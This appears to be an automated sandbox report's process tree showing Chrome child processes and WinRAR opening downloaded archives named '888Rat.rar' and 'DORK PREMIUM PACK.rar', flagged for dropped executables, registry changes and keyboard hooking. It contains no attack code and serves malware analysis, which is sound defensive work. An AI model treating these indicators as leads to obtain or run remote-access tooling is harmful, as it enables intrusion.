- Suspicious use of SetWindowsHookEx
PID:460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6660 /prefetch:82⤵PID:1276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3876 /prefetch:82⤵PID:2576
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5144 /prefetch:82⤵PID:4048
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4840 /prefetch:82⤵PID:5028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5820 /prefetch:82⤵PID:3132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5792 /prefetch:82⤵PID:1652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6376 /prefetch:82⤵PID:3156
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6552 /prefetch:82⤵PID:4048
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6364 /prefetch:82⤵PID:2552
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4892 /prefetch:82⤵PID:4244
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5184 /prefetch:82⤵PID:1440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:82⤵PID:4152
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3716 /prefetch:82⤵PID:2924
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5852 /prefetch:82⤵PID:2168
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=108 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6660 /prefetch:12⤵PID:1380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=109 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5404 /prefetch:12⤵PID:5032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=110 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:12⤵PID:3208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=111 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3112 /prefetch:12⤵PID:5112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7192 /prefetch:82⤵PID:788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=113 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4932 /prefetch:12⤵PID:60
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=114 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7164 /prefetch:12⤵PID:3500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=115 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4792 /prefetch:12⤵PID:4500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=116 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6660 /prefetch:12⤵PID:544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=117 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:12⤵PID:4648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=118 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6816 /prefetch:12⤵PID:112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=119 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7392 /prefetch:12⤵PID:2816
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6264 /prefetch:82⤵PID:2272
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6844 /prefetch:82⤵PID:4804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4960 /prefetch:82⤵PID:2152
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=123 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:12⤵PID:4680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=124 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:12⤵PID:2308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=125 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4876 /prefetch:12⤵PID:1616
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=126 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4836 /prefetch:12⤵PID:3208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6176 /prefetch:82⤵PID:4592
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=128 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4884 /prefetch:12⤵PID:5356
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3716 /prefetch:82⤵PID:5444
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\888Rat.rar"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:5536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=130 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5872 /prefetch:12⤵PID:5752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=131 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:12⤵PID:5824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=132 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1436 /prefetch:12⤵PID:5396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=133 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4852 /prefetch:12⤵PID:5576
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=134 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6276 /prefetch:12⤵PID:5364
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=135 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5924 /prefetch:12⤵PID:6080
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=136 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:12⤵PID:652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=137 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6436 /prefetch:12⤵PID:5524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=138 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:12⤵PID:556
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=139 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6440 /prefetch:12⤵PID:5916
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=140 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6104 /prefetch:12⤵PID:1528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=141 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:12⤵PID:1312
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=142 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5872 /prefetch:12⤵PID:1732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=143 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:12⤵PID:5376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=144 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3824 /prefetch:12⤵PID:6068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=145 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2148 /prefetch:12⤵PID:3392
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=146 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6208 /prefetch:12⤵PID:3676
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=147 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:12⤵PID:2212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=148 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7256 /prefetch:12⤵PID:3648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=149 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=908 /prefetch:12⤵PID:5976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=150 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:12⤵PID:1256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=151 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5388 /prefetch:12⤵PID:5540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=152 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6932 /prefetch:12⤵PID:1304
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=154 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7676 /prefetch:12⤵PID:6132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=153 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:12⤵PID:6088
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=155 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7820 /prefetch:12⤵PID:5200
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=156 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6876 /prefetch:12⤵PID:1536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8284 /prefetch:82⤵PID:5416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=158 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8260 /prefetch:12⤵PID:752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=159 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8276 /prefetch:12⤵PID:5920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=160 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8472 /prefetch:12⤵PID:5484
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4772 /prefetch:82⤵PID:1808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6696 /prefetch:82⤵PID:1420
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\DORK PREMIUM PACK.rar"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:5960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7452 /prefetch:82⤵PID:1956
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7820 /prefetch:82⤵PID:1824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6428 /prefetch:82⤵PID:3824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6168 /prefetch:82⤵PID:3084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3936 /prefetch:82⤵PID:5920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5476 /prefetch:82⤵PID:5548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4896 /prefetch:82⤵PID:1968
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7288 /prefetch:82⤵PID:5180
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7692 /prefetch:82⤵PID:4232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7064 /prefetch:82⤵PID:2440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=173 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7468 /prefetch:12⤵PID:4676
-
-
